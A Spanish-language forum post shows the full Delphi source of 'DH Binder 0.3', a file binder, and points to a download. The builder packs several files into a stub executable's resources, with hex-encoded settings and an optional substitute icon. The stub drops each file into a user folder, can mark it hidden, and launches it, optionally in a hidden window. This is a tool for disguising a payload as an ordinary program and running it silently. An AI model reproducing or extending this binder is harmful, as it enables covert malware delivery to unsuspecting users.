  48.    procedure C1Click(Sender: TObject);
  49.  private
  50.    { Private declarations }
  51.  public
  52.    { Public declarations }
  53.  end;
  54.  
  55. var
  56.  Form1: TForm1;
  57.  
  58. implementation
  59.  
  60. uses about;
  61. {$R *.dfm}
  62. // Functions
  63.  
  64. function dhencode(texto, opcion: string): string;
  65. // Thanks to Taqyon
  66. // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
  67. var
  68.  num: integer;
  69.  aca: string;
  70.  cantidad: integer;
  71.  
  72. begin
  73.  
  74.  num := 0;
  75.  Result := '';
  76.  aca := '';
  77.  cantidad := 0;
  78.  
  79.  if (opcion = 'encode') then
  80.  begin
  81.    cantidad := length(texto);
  82.    for num := 1 to cantidad do
  83.    begin
  84.      aca := IntToHex(ord(texto[num]), 2);
  85.      Result := Result + aca;
  86.    end;
  87.  end;
  88.  
  89.  if (opcion = 'decode') then
  90.  begin
  91.    cantidad := length(texto);
  92.    for num := 1 to cantidad div 2 do
  93.    begin
  94.      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
  95.      Result := Result + aca;
  96.    end;
  97.  end;
  98.  
  99. end;
  100.  
  101. //
  102.  
  103. procedure TForm1.C1Click(Sender: TObject);
  104. begin
  105.  sListView1.Items.Clear;
  106. end;
  107.  
  108. procedure TForm1.FormCreate(Sender: TObject);
  109. begin
  110.  
  111.  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  112.  sSkinManager1.SkinName := 'tv-b';
  113.  sSkinManager1.Active := True;
  114.  
  115.  OpenDialog1.InitialDir := GetCurrentDir;
  116.  OpenDialog2.InitialDir := GetCurrentDir;
  117.  OpenDialog2.Filter := 'ICO|*.ico|';
  118.  
  119. end;
  120.  
  121. procedure TForm1.l1Click(Sender: TObject);
  122. var
  123.  op: String;
  124. begin
  125.  
  126.  if OpenDialog1.Execute then
  127.  begin
  128.  
  129.    op := InputBox('Add File', 'Execute Hide ?', 'Yes');
  130.  
  131.    with sListView1.Items.Add do
  132.    begin
  133.      Caption := ExtractFileName(OpenDialog1.FileName);
  134.      if (op = 'Yes') then
  135.      begin
  136.        SubItems.Add(OpenDialog1.FileName);
  137.        SubItems.Add('Hide');
  138.      end
  139.      else
  140.      begin
  141.        SubItems.Add(OpenDialog1.FileName);
  142.        SubItems.Add('Normal');
  143.      end;
  144.    end;
  145.  
  146.  end;
  147. end;
  148.  
  149. procedure TForm1.sButton1Click(Sender: TObject);
  150. begin
  151.  
  152.  if OpenDialog2.Execute then
  153.  begin
  154.    Image2.Picture.LoadFromFile(OpenDialog2.FileName);
  155.    sEdit1.Text := OpenDialog2.FileName;
  156.  end;
  157.  
  158. end;
  159.  
  160. procedure TForm1.sButton2Click(Sender: TObject);
  161. var
  162.  i: integer;
  163.  nombre: string;
  164.  ruta: string;
  165.  tipo: string;
  166.  savein: string;
  167.  opcionocultar: string;
  168.  lineafinal: string;
  169.  uno: DWORD;
  170.  tam: DWORD;
  171.  dos: DWORD;
  172.  tres: DWORD;
  173.  todo: Pointer;
  174.  change: DWORD;
  175.  valor: string;
  176.  stubgenerado: string;
  177.  
  178. begin
  179.  
  180.  if (sListView1.Items.Count = 0) or (sListView1.Items.Count = 1) then
  181.  begin
  182.    ShowMessage('You have to choose two or more files');
  183.  end
  184.  else
  185.  begin
  186.    stubgenerado := 'done.exe';
  187.  
  188.    if (sCheckBox1.Checked = True) then
  189.    begin
  190.      opcionocultar := '1';
  191.    end
  192.    else
  193.    begin
  194.      opcionocultar := '0';
  195.    end;
  196.  
  197.    if (sComboBox1.Items[sComboBox1.ItemIndex] = '') then
  198.    begin
  199.      savein := 'USERPROFILE';
  200.    end
  201.    else
  202.    begin
  203.      savein := sComboBox1.Items[sComboBox1.ItemIndex];
  204.    end;
  205.  
  206.    DeleteFile(stubgenerado);
  207.    CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' + 'Data/stub.exe')
  208.        , PChar(ExtractFilePath(Application.ExeName) + '/' + stubgenerado),
  209.      True);
  210.  
  211.    uno := BeginUpdateResource
  212.      (PChar(ExtractFilePath(Application.ExeName) + '/' + stubgenerado), True);
  213.  
  214.    for i := 0 to sListView1.Items.Count - 1 do
  215.    begin
  216.  
  217.      nombre := sListView1.Items[i].Caption;
  218.      ruta := sListView1.Items[i].SubItems[0];
  219.      tipo := sListView1.Items[i].SubItems[1];
  220.  
  221.      lineafinal := '[nombre]' + nombre + '[nombre][tipo]' + tipo +
  222.        '[tipo][dir]' + savein + '[dir][hide]' + opcionocultar + '[hide]';
  223.      lineafinal := '[63686175]' + dhencode(UpperCase(lineafinal), 'encode')
  224.        + '[63686175]';
  225.  
  226.      dos := CreateFile(PChar(ruta), GENERIC_READ, FILE_SHARE_READ, nil,
  227.        OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  228.      tam := GetFileSize(dos, nil);
  229.      GetMem(todo, tam);
  230.      ReadFile(dos, todo^, tam, tres, nil);
  231.      CloseHandle(dos);
  232.      UpdateResource(uno, RT_RCDATA, PChar(lineafinal), MAKEWord(LANG_NEUTRAL,
  233.          SUBLANG_NEUTRAL), todo, tam);
  234.  
  235.    end;
  236.  
  237.    EndUpdateResource(uno, False);
  238.  
  239.    if not(sEdit1.Text = '') then
  240.    begin
  241.      try
  242.        begin
  243.          change := BeginUpdateResourceW
  244.            (PWideChar(wideString(ExtractFilePath(Application.ExeName)
  245.                  + '/' + stubgenerado)), False);
  246.          LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
  247.            PWideChar(wideString(sEdit1.Text)));
  248.          EndUpdateResourceW(change, False);
  249.          sStatusBar1.Panels[0].Text := '[+] Done ';
  250.          Form1.sStatusBar1.Update;
  251.        end;
  252.      except
  253.        begin
  254.          sStatusBar1.Panels[0].Text := '[-] Error';
  255.          Form1.sStatusBar1.Update;
  256.        end;
  257.      end;
  258.    end
  259.    else
  260.    begin
  261.      sStatusBar1.Panels[0].Text := '[+] Done ';
  262.      Form1.sStatusBar1.Update;
  263.    end;
  264.  end;
  265.  
  266. end;
  267.  
  268. procedure TForm1.sButton3Click(Sender: TObject);
  269. begin
  270.  Form2.Show;
  271. end;
  272.  
  273. procedure TForm1.sButton4Click(Sender: TObject);
  274. begin
  275.  Form1.Close();
  276. end;
  277.  
  278. end.
  279.  
  280. // The End ?
  281.  

El codigo del Stub

Código
  1. // DH Binder 0.3
  2. // (C) Doddy Hackman 2013
  3. // Credits :
  4. // Joiner Based in : "Ex Binder v0.1" by TM
  5. // Icon Changer based in : "IconChanger" By Chokstyle
  6. // Thanks to TM & Chokstyle
  7.  
  8. // Stub
  9.  
  10. program stub;
  11.  
  12. uses
  13.  Windows,
  14.  SysUtils,
  15.  ShellApi;
  16.  
  17. // Functions
  18.  
  19. function regex(text: String; deaca: String; hastaaca: String): String;
  20. begin
  21.  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  22.  SetLength(text, AnsiPos(hastaaca, text) - 1);
  23.  Result := text;
  24. end;
  25.  
  26. function dhencode(texto, opcion: string): string;
  27. // Thanks to Taqyon
  28. // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
  29. var
  30.  num: integer;
  31.  aca: string;
  32.  cantidad: integer;
  33.  
  34. begin
  35.  
  36.  num := 0;
  37.  Result := '';
  38.  aca := '';
  39.  cantidad := 0;
  40.  
  41.  if (opcion = 'encode') then
  42.  begin
  43.    cantidad := Length(texto);
  44.    for num := 1 to cantidad do
  45.    begin
  46.      aca := IntToHex(ord(texto[num]), 2);
  47.      Result := Result + aca;
  48.    end;
  49.  end;
  50.  
  51.  if (opcion = 'decode') then
  52.  begin
  53.    cantidad := Length(texto);
  54.    for num := 1 to cantidad div 2 do
  55.    begin
  56.      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
  57.      Result := Result + aca;
  58.    end;
  59.  end;
  60.  
  61. end;
  62.  
  63. //
  64.  
  65. // Start the game
  66.  
  67. function start(tres: THANDLE; cuatro, cinco: PChar; seis: DWORD): BOOL; stdcall;
  68. var
  69.  data: DWORD;
  70.  uno: DWORD;
  71.  dos: DWORD;
  72.  cinco2: string;
  73.  nombre: string;
  74.  tipodecarga: string;
  75.  ruta: string;
  76.  ocultar: string;
  77.  
  78. begin
  79.  
  80.  Result := True;
  81.  
  82.  cinco2 := cinco;
  83.  cinco2 := regex(cinco2, '[63686175]', '[63686175]');
  84.  cinco2 := dhencode(cinco2, 'decode');
  85.  cinco2 := LowerCase(cinco2);
  86.  
  87.  nombre := regex(cinco2, '[nombre]', '[nombre]');
  88.  tipodecarga := regex(cinco2, '[tipo]', '[tipo]');
  89.  ruta := GetEnvironmentVariable(regex(cinco2, '[dir]', '[dir]')) + '/';
  90.  ocultar := regex(cinco2, '[hide]', '[hide]');
  91.  
  92.  data := FindResource(0, cinco, cuatro);
  93.  
  94.  uno := CreateFile(PChar(ruta + nombre), GENERIC_WRITE, FILE_SHARE_WRITE, nil,
  95.    CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
  96.  WriteFile(uno, LockResource(LoadResource(0, data))^, SizeOfResource(0, data),
  97.    dos, nil);
  98.  
  99.  CloseHandle(uno);
  100.  
  101.  if (ocultar = '1') then
  102.  begin
  103.    SetFileAttributes(PChar(ruta + nombre), FILE_ATTRIBUTE_HIDDEN);
  104.  end;
  105.  
  106.  if (tipodecarga = 'normal') then
  107.  begin
  108.    ShellExecute(0, 'open', PChar(ruta + nombre), nil, nil, SW_SHOWNORMAL);
  109.  end
  110.  else
  111.  begin
  112.    ShellExecute(0, 'open', PChar(ruta + nombre), nil, nil, SW_HIDE);
  113.  end;
  114.  
  115. end;
  116.  
  117. begin
  118.  
  119.  EnumResourceNames(0, RT_RCDATA, @start, 0);
  120.  
  121. end.
  122.  
  123. // The End ?
  124.  

Si lo quieren bajar lo pueden hacer de aca.
Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 [15] 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 ... 43
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines